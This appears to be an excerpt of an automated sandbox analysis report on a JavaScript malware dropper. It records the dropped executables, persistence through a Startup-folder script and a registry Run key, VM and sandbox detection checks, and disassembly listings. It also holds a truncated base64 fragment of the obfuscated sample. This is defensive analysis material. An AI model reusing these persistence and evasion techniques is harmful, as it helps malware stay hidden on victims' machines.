Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008DC928 push cs; retf	23_2_008DC935
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008E72B3 push eax; retf	23_2_008E72B4
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008EEB3B push dword ptr [7D52CE57h]; ret	23_2_008EEB5E
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008ED6DC push eax; ret	23_2_008ED6E2
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008ED625 push eax; ret	23_2_008ED678
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008ED67B push eax; ret	23_2_008ED6E2
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_008ED672 push eax; ret	23_2_008ED678
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010AD0D1 push ecx; ret	23_2_010AD0E4

Source: CIQ-PO16266.js

String : entropy: 5.56, length: 330788, content: 'dHJ5ewp2YXIgbG9uZ1RleHQxID0gImRtOXBaQ0FvSVVGeWNtRjVMbkJ5YjNSdmRIbHdaUzVtYjNKRllXTm9JRDhnUVhKeVlYa3V

Go to definition

Source: initial sample	Static PE information: section name: .text entropy: 7.27935568792
Source: initial sample	Static PE information: section name: .text entropy: 7.27935568792
Source: initial sample	Static PE information: section name: .text entropy: 7.27935568792

Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Temp\bin.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe	Jump to dropped file

Boot Survival

Drops script or batch files to the startup folder

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js

Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_logicaldisk

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\bin.exe	RDTSC instruction interceptor: First address: 0000000000018C04 second address: 0000000000018C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\bin.exe	RDTSC instruction interceptor: First address: 0000000000018F9E second address: 0000000000018FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000408C04 second address: 0000000000408C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000408F9E second address: 0000000000408FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	RDTSC instruction interceptor: First address: 00000000008D8C04 second address: 00000000008D8C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	RDTSC instruction interceptor: First address: 00000000008D8F9E second address: 00000000008D8FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\explorer.exe TID: 5228

Thread sleep time: -65000s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\bin.exe

Code function: 3_2_00018ED0 rdtsc

3_2_00018ED0

Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe

API coverage: 2.4 %

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bin.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00411660 FindFirstFileW,FindNextFileW,FindClose,		13_2_00411660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00411659 FindFirstFileW,FindNextFileW,FindClose,		13_2_00411659

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: explorer.exe, 00000004.00000000.509787707.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: wscript.exe, 00000002.00000003.703744618.0000015597A7C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.896475063.0000015597A7C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.978866316.0000015597A7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr-0000
Source: explorer.exe, 00000004.00000000.510215126.0000000008044000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.509787707.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: wscript.exe, 00000002.00000003.896380234.0000015597A27000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.961961202.0000015597A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.703640260.0000015597A27000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938835842.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773589121.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: explorer.exe, 00000004.00000000.531590842.0000000006900000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000009.00000003.798380808.000002A0FE306000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.972932842.000002A0FE300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: wscript.exe, 00000002.00000003.703744618.0000015597A7C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.896475063.0000015597A7C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.978866316.0000015597A7D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999832531.000002CA05741000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921517592.000002CA056E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921693056.000002CA05741000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.755502023.000002CA05747000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.755213500.000002CA05741000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920713114.000002CA05747000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773959377.0000019175C0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000004.00000000.510215126.0000000008044000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: wscript.exe, 00000007.00000003.773742708.0000019175BED000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.962073296.0000019175BB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938835842.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773589121.0000019175BB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWduia.ro$$
Source: explorer.exe, 00000004.00000000.510215126.0000000008044000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: >C:\Users\user\AppData\Roaming_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}8Ll/
Source: explorer.exe, 00000004.00000000.509787707.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\AppData\Local\Temp\bin.exe

Code function: 3_2_00018ED0 rdtsc

3_2_00018ED0

Source: C:\Users\user\AppData\Local\Temp\bin.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E3B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00E3B8D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E3B8D0 mov ecx, dword ptr fs:[00000030h]	3_2_00E3B8D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E3B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00E3B8D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E3B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00E3B8D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E3B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00E3B8D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E3B8D0 mov eax, dword ptr fs:[00000030h]	3_2_00E3B8D0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA58EC mov eax, dword ptr fs:[00000030h]	3_2_00DA58EC
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA9080 mov eax, dword ptr fs:[00000030h]	3_2_00DA9080
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDF0BF mov ecx, dword ptr fs:[00000030h]	3_2_00DDF0BF
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDF0BF mov eax, dword ptr fs:[00000030h]	3_2_00DDF0BF
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDF0BF mov eax, dword ptr fs:[00000030h]	3_2_00DDF0BF
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E23884 mov eax, dword ptr fs:[00000030h]	3_2_00E23884
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E23884 mov eax, dword ptr fs:[00000030h]	3_2_00E23884
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE90AF mov eax, dword ptr fs:[00000030h]	3_2_00DE90AF
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD20A0 mov eax, dword ptr fs:[00000030h]	3_2_00DD20A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD20A0 mov eax, dword ptr fs:[00000030h]	3_2_00DD20A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD20A0 mov eax, dword ptr fs:[00000030h]	3_2_00DD20A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD20A0 mov eax, dword ptr fs:[00000030h]	3_2_00DD20A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD20A0 mov eax, dword ptr fs:[00000030h]	3_2_00DD20A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD20A0 mov eax, dword ptr fs:[00000030h]	3_2_00DD20A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC0050 mov eax, dword ptr fs:[00000030h]	3_2_00DC0050
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC0050 mov eax, dword ptr fs:[00000030h]	3_2_00DC0050
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E71074 mov eax, dword ptr fs:[00000030h]	3_2_00E71074
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E62073 mov eax, dword ptr fs:[00000030h]	3_2_00E62073
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD002D mov eax, dword ptr fs:[00000030h]	3_2_00DD002D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD002D mov eax, dword ptr fs:[00000030h]	3_2_00DD002D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD002D mov eax, dword ptr fs:[00000030h]	3_2_00DD002D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD002D mov eax, dword ptr fs:[00000030h]	3_2_00DD002D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD002D mov eax, dword ptr fs:[00000030h]	3_2_00DD002D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBB02A mov eax, dword ptr fs:[00000030h]	3_2_00DBB02A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBB02A mov eax, dword ptr fs:[00000030h]	3_2_00DBB02A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBB02A mov eax, dword ptr fs:[00000030h]	3_2_00DBB02A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBB02A mov eax, dword ptr fs:[00000030h]	3_2_00DBB02A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E74015 mov eax, dword ptr fs:[00000030h]	3_2_00E74015
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E74015 mov eax, dword ptr fs:[00000030h]	3_2_00E74015
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E27016 mov eax, dword ptr fs:[00000030h]	3_2_00E27016
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E27016 mov eax, dword ptr fs:[00000030h]	3_2_00E27016
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E27016 mov eax, dword ptr fs:[00000030h]	3_2_00E27016
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E341E8 mov eax, dword ptr fs:[00000030h]	3_2_00E341E8
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAB1E1 mov eax, dword ptr fs:[00000030h]	3_2_00DAB1E1
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAB1E1 mov eax, dword ptr fs:[00000030h]	3_2_00DAB1E1
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAB1E1 mov eax, dword ptr fs:[00000030h]	3_2_00DAB1E1
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E269A6 mov eax, dword ptr fs:[00000030h]	3_2_00E269A6
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD2990 mov eax, dword ptr fs:[00000030h]	3_2_00DD2990
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDA185 mov eax, dword ptr fs:[00000030h]	3_2_00DDA185
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E251BE mov eax, dword ptr fs:[00000030h]	3_2_00E251BE
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E251BE mov eax, dword ptr fs:[00000030h]	3_2_00E251BE
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E251BE mov eax, dword ptr fs:[00000030h]	3_2_00E251BE
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E251BE mov eax, dword ptr fs:[00000030h]	3_2_00E251BE
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DCC182 mov eax, dword ptr fs:[00000030h]	3_2_00DCC182
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD61A0 mov eax, dword ptr fs:[00000030h]	3_2_00DD61A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD61A0 mov eax, dword ptr fs:[00000030h]	3_2_00DD61A0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DCB944 mov eax, dword ptr fs:[00000030h]	3_2_00DCB944
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DCB944 mov eax, dword ptr fs:[00000030h]	3_2_00DCB944
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAB171 mov eax, dword ptr fs:[00000030h]	3_2_00DAB171
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAB171 mov eax, dword ptr fs:[00000030h]	3_2_00DAB171
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAC962 mov eax, dword ptr fs:[00000030h]	3_2_00DAC962
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA9100 mov eax, dword ptr fs:[00000030h]	3_2_00DA9100
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA9100 mov eax, dword ptr fs:[00000030h]	3_2_00DA9100
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA9100 mov eax, dword ptr fs:[00000030h]	3_2_00DA9100
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD513A mov eax, dword ptr fs:[00000030h]	3_2_00DD513A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD513A mov eax, dword ptr fs:[00000030h]	3_2_00DD513A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC4120 mov eax, dword ptr fs:[00000030h]	3_2_00DC4120
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC4120 mov eax, dword ptr fs:[00000030h]	3_2_00DC4120
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC4120 mov eax, dword ptr fs:[00000030h]	3_2_00DC4120
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC4120 mov eax, dword ptr fs:[00000030h]	3_2_00DC4120
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC4120 mov ecx, dword ptr fs:[00000030h]	3_2_00DC4120
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD2ACB mov eax, dword ptr fs:[00000030h]	3_2_00DD2ACB
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD2AE4 mov eax, dword ptr fs:[00000030h]	3_2_00DD2AE4
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDD294 mov eax, dword ptr fs:[00000030h]	3_2_00DDD294
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDD294 mov eax, dword ptr fs:[00000030h]	3_2_00DDD294
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBAAB0 mov eax, dword ptr fs:[00000030h]	3_2_00DBAAB0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBAAB0 mov eax, dword ptr fs:[00000030h]	3_2_00DBAAB0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDFAB0 mov eax, dword ptr fs:[00000030h]	3_2_00DDFAB0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA52A5 mov eax, dword ptr fs:[00000030h]	3_2_00DA52A5
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA52A5 mov eax, dword ptr fs:[00000030h]	3_2_00DA52A5
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA52A5 mov eax, dword ptr fs:[00000030h]	3_2_00DA52A5
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA52A5 mov eax, dword ptr fs:[00000030h]	3_2_00DA52A5
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA52A5 mov eax, dword ptr fs:[00000030h]	3_2_00DA52A5
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E5B260 mov eax, dword ptr fs:[00000030h]	3_2_00E5B260
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E5B260 mov eax, dword ptr fs:[00000030h]	3_2_00E5B260
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E78A62 mov eax, dword ptr fs:[00000030h]	3_2_00E78A62
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA9240 mov eax, dword ptr fs:[00000030h]	3_2_00DA9240
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA9240 mov eax, dword ptr fs:[00000030h]	3_2_00DA9240
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA9240 mov eax, dword ptr fs:[00000030h]	3_2_00DA9240
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA9240 mov eax, dword ptr fs:[00000030h]	3_2_00DA9240
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE927A mov eax, dword ptr fs:[00000030h]	3_2_00DE927A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E6EA55 mov eax, dword ptr fs:[00000030h]	3_2_00E6EA55
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E34257 mov eax, dword ptr fs:[00000030h]	3_2_00E34257
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC3A1C mov eax, dword ptr fs:[00000030h]	3_2_00DC3A1C
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA5210 mov eax, dword ptr fs:[00000030h]	3_2_00DA5210
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA5210 mov ecx, dword ptr fs:[00000030h]	3_2_00DA5210
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA5210 mov eax, dword ptr fs:[00000030h]	3_2_00DA5210
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DA5210 mov eax, dword ptr fs:[00000030h]	3_2_00DA5210
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAAA16 mov eax, dword ptr fs:[00000030h]	3_2_00DAAA16
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAAA16 mov eax, dword ptr fs:[00000030h]	3_2_00DAAA16
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DB8A0A mov eax, dword ptr fs:[00000030h]	3_2_00DB8A0A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE4A2C mov eax, dword ptr fs:[00000030h]	3_2_00DE4A2C
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DE4A2C mov eax, dword ptr fs:[00000030h]	3_2_00DE4A2C
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E253CA mov eax, dword ptr fs:[00000030h]	3_2_00E253CA
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E253CA mov eax, dword ptr fs:[00000030h]	3_2_00E253CA
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DCDBE9 mov eax, dword ptr fs:[00000030h]	3_2_00DCDBE9
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD03E2 mov eax, dword ptr fs:[00000030h]	3_2_00DD03E2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD03E2 mov eax, dword ptr fs:[00000030h]	3_2_00DD03E2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD03E2 mov eax, dword ptr fs:[00000030h]	3_2_00DD03E2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD03E2 mov eax, dword ptr fs:[00000030h]	3_2_00DD03E2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD03E2 mov eax, dword ptr fs:[00000030h]	3_2_00DD03E2
